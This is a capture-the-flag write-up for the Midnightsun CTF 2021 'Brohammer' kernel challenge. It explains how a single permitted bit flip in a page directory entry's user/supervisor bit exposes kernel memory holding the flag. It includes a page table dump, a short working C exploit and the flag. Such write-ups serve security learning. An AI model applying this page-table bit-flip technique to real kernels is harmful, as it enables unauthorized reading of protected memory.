Midnightsun CTF 2021: Brohammer

pwn (228 points, 18 solves)

The challenge opens up a syscall to perform only a single bit flip to a target virtual address. The goal is to be able to read the protected file /root/flag by escalating privileges or by some form of memory disclosure.

Initial analysis

1) No KASLR, no SMAP, no SMEP, no KPTI

2) The kernel’s code is only mapped as RX, and doesn’t seem to have any aliases where memory is writeable. Overwriting code would have trivially allowed to perform more bit flips and escalate privileges.

3) I couldn’t find pointer structures to overwrite. A NULL function pointer or a NULL pointer to a table of function pointers would have been great. Then, we could make the pointer point to a user-controllable memory, e.g. 0x0 becoming 0x100000, and immediately escalate privileges.

4) Overwriting kernel pointers didn’t seem that useful since it would be hard to make them point to controllable memory.

Solution

We got first blood on this challenge, thanks to superior tools 1 over those of other teams. Inspecting memory with gdb-pt-dump proved very useful for finding what to overwrite and for finding the location of valuable entities.

Some points:

1) The initramfs is loaded in memory at (mostly) the same physical location. Doing pt -save -ss "this is where the flag will be on the remote host..." yields: Found at 0xffff880004e19000, which is a virtual address in the direct-physical map and means that the string is located at physical address 0x4e19000.

2) x86-64 Linux kernel direct-physical map pages are typically of size 2-MiB, and this is accomplished by setting the Page Size bit in the Page Directory Entry (PDE). Thus, the physical address 0x4e19000 is within a 2-Mib-aligned page which starts at 0x4e00000. By using gdb-pt-dump or walking the page table manually one can find the physical address for the corresponding PDE: 0x18fb138. Thus, the virtual address through the direct physical map is 0xffff8800018fb138.

3) Access to memory from user processes is restricted by setting a special bit, called the U/S bit, in the PTE/PDE/PDPE. The bit is found at bit location 2.

The flag can be read through memory by flipping a bit in the specified PDE. For some reason, puts would not print out the flag, so the contents had to be read explicitly.

After performing the bit flip we can use gdb-pt-dump to view the address space:

pwndbg> pt -filter u
             Address :   Length   Permissions
            0x400000 :   0x1000 | W:0 X:0 S:0 UC:0 WB:1
            0x401000 :  0x5f000 | W:0 X:1 S:0 UC:0 WB:1
            0x470000 :  0x30000 | W:0 X:1 S:0 UC:0 WB:1
            0x4b0000 :  0x80000 | W:0 X:1 S:0 UC:0 WB:1
            0x570000 :  0x20000 | W:0 X:1 S:0 UC:0 WB:1
            0x5b0000 :  0x10000 | W:0 X:1 S:0 UC:0 WB:1
            0x5d0000 :  0x17000 | W:0 X:1 S:0 UC:0 WB:1
            0x610000 :  0x50000 | W:0 X:0 S:0 UC:0 WB:1
            0x670000 :   0x1000 | W:0 X:0 S:0 UC:0 WB:1
            0x672000 :   0x7000 | W:0 X:0 S:0 UC:0 WB:1
            0x679000 :   0x3000 | W:1 X:0 S:0 UC:0 WB:1
            0x67c000 :   0x1000 | W:0 X:0 S:0 UC:0 WB:1
            0x67d000 :   0x2000 | W:1 X:0 S:0 UC:0 WB:1
            0x71b000 :   0x4000 | W:1 X:0 S:0 UC:0 WB:1
            0x71f000 :   0x1000 | W:0 X:0 S:0 UC:0 WB:1
            0x720000 :   0x2000 | W:1 X:0 S:0 UC:0 WB:1
            0x722000 :   0x2000 | W:0 X:0 S:0 UC:0 WB:1
            0x724000 :   0x1000 | W:1 X:0 S:0 UC:0 WB:1
            0x725000 :   0x4000 | W:0 X:0 S:0 UC:0 WB:1
            0x729000 :   0x1000 | W:1 X:0 S:0 UC:0 WB:1
            0x72a000 :   0x1000 | W:0 X:0 S:0 UC:0 WB:1
            0x72b000 :   0x1000 | W:1 X:0 S:0 UC:0 WB:1
            0x72c000 :   0x1000 | W:0 X:0 S:0 UC:0 WB:1
            0x72d000 :   0x3000 | W:1 X:0 S:0 UC:0 WB:1
      0x7ffc9ca01000 :   0x2000 | W:1 X:0 S:0 UC:0 WB:1
      0x7ffc9caab000 :   0x1000 | W:0 X:1 S:0 UC:0 WB:1
  0xffff880004e00000 : 0x200000 | W:1 X:0 S:0 UC:0 WB:1 <- not a superuser page now
  0xffffffffff600000 :   0x1000 | W:0 X:0 S:0 UC:0 WB:1

Using vmmap from pwndbg would not give this information.

Code

#include <stdio.h>
#include <unistd.h>

int main() {
        int r = syscall(333, 0xffff8800018fb138, 2);
        printf("%d\n", r);
        for (unsigned long i = 0; i < 100; ++i) {
                        unsigned char *addr = (char*)0xffff880004e18000ULL + i * 0x100ULL;
                        if (*addr == 'm') {
                        printf("%p: \n", addr);
                        for (unsigned char *j = addr; j < addr + 0x100 && *j; ++j) {
                                printf("%c", *j);
                        }
                        printf("\n");
                }
        }
        return 0;
}

Flag: midnight{3v3ry7h1ng_15_wr1tabl3_f0r_k3rn3l_br05}